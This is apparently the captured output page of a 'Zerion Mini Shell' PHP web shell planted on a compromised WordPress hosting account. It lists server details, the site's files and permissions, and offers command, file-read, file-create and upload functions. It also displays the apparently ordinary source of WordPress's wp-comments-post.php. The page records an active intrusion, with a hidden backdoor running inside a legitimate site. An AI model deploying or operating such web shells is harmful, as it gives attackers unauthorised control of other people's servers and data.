Uname:Linux wh15 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
User: () Group : client448 (11019)
PHP:7.4.33 Safe mode : OFF
Path:/var/www/clients/client448/web1019/web/0_wp_5_6__divi_4_8 drwxrwxrwx [ HOME ]
[vix3r]#
  • Command
  • Change Directory
  • Create Directory
  • Read File
  • Create File
NameSizeModifyOwner/GroupPermissionsOptions
[ .tmb ]dir2024-05-08 23:11:1511019/11019drwxr-xr-x
[ images ]dir2024-05-08 21:15:3711019/11019drwxr-xr-x
[ stats ]dir2024-05-08 23:11:1811019/11019drwxr-xr-x
[ wp-admin ]dir2024-05-07 02:32:3211019/11019drwxr-xr-x
[ wp-content ]dir2024-05-08 06:34:3611019/11019drwxr-xr-x
[ wp-includes ]dir2024-05-08 23:11:2311019/11019drwxr-xr-x
.htaccess1.98 KB2024-04-26 14:42:0711019/11019-r--r--r--
index.php10.89 KB2024-05-09 03:46:3911019/11019-r--r--r--
readme.html7.23 KB2024-05-08 06:31:4711019/11019-rw-r--r--
robots.txt315 B2024-05-08 21:15:3811019/11019-rw-r--r--
wp-activate.php7.21 KB2024-04-03 07:10:1411019/11019-rw-r--r--
wp-blog-header.php21.64 KB2024-04-26 05:30:4711019/11019-rwxr-xr-x
wp-comments-post.php2.27 KB2023-08-09 07:01:1211019/11019-rw-r--r--
wp-config-sample.php29.11 KB2023-08-09 07:01:0911019/11019-rw-r--r--
wp-config.php2.93 KB2021-02-12 06:06:0911019/11019-rw-r--r--
wp-cron.php5.51 KB2023-08-09 07:01:0911019/11019-rw-r--r--
wp-links-opml.php2.44 KB2023-03-30 06:51:3911019/11019-rw-r--r--
wp-load.php3.83 KB2024-05-08 21:15:3711019/11019-rw-r--r--
wp-login.php49.72 KB2024-04-03 07:10:1211019/11019-rw-r--r--
wp-mail.php8.33 KB2023-11-08 06:31:5111019/11019-rw-r--r--
wp-settings.php27.76 KB2024-04-03 07:10:1211019/11019-rw-r--r--
wp-signup.php33.58 KB2023-08-09 07:01:0911019/11019-rw-r--r--
wp-trackback.php4.77 KB2023-08-09 07:01:0911019/11019-rw-r--r--
xmlrpc.php3.17 KB2024-04-03 07:10:1211019/11019-rw-r--r--
%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/clients/client448/web1019/web/0_wp_5_6__divi_4_8/
Upload File :
Create Path :
Current File : /var/www/clients/client448/web1019/web/0_wp_5_6__divi_4_8/wp-comments-post.php

<?php
/**
 * Handles Comment Post to WordPress and prevents duplicate comment posting.
 *
 * @package WordPress
 */

if ( 'POST' !== $_SERVER['REQUEST_METHOD'] ) {
	$protocol = $_SERVER['SERVER_PROTOCOL'];
	if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0', 'HTTP/3' ), true ) ) {
		$protocol = 'HTTP/1.0';
	}

	header( 'Allow: POST' );
	header( "$protocol 405 Method Not Allowed" );
	header( 'Content-Type: text/plain' );
	exit;
}

/** Sets up the WordPress Environment. */
require __DIR__ . '/wp-load.php';

nocache_headers();

$comment = wp_handle_comment_submission( wp_unslash( $_POST ) );
if ( is_wp_error( $comment ) ) {
	$data = (int) $comment->get_error_data();
	if ( ! empty( $data ) ) {
		wp_die(
			'<p>' . $comment->get_error_message() . '</p>',
			__( 'Comment Submission Failure' ),
			array(
				'response'  => $data,
				'back_link' => true,
			)
		);
	} else {
		exit;
	}
}

$user            = wp_get_current_user();
$cookies_consent = ( isset( $_POST['wp-comment-cookies-consent'] ) );

/**
 * Fires after comment cookies are set.
 *
 * @since 3.4.0
 * @since 4.9.6 The `$cookies_consent` parameter was added.
 *
 * @param WP_Comment $comment         Comment object.
 * @param WP_User    $user            Comment author's user object. The user may not exist.
 * @param bool       $cookies_consent Comment author's consent to store cookies.
 */
do_action( 'set_comment_cookies', $comment, $user, $cookies_consent );

$location = empty( $_POST['redirect_to'] ) ? get_comment_link( $comment ) : $_POST['redirect_to'] . '#comment-' . $comment->comment_ID;

// If user didn't consent to cookies, add specific query arguments to display the awaiting moderation message.
if ( ! $cookies_consent && 'unapproved' === wp_get_comment_status( $comment ) && ! empty( $comment->comment_author_email ) ) {
	$location = add_query_arg(
		array(
			'unapproved'      => $comment->comment_ID,
			'moderation-hash' => wp_hash( $comment->comment_date_gmt ),
		),
		$location
	);
}

/**
 * Filters the location URI to send the commenter after posting.
 *
 * @since 2.0.5
 *
 * @param string     $location The 'redirect_to' URI sent via $_POST.
 * @param WP_Comment $comment  Comment object.
 */
$location = apply_filters( 'comment_post_redirect', $location, $comment );

wp_safe_redirect( $location );
exit;

Zerion Mini Shell 1.0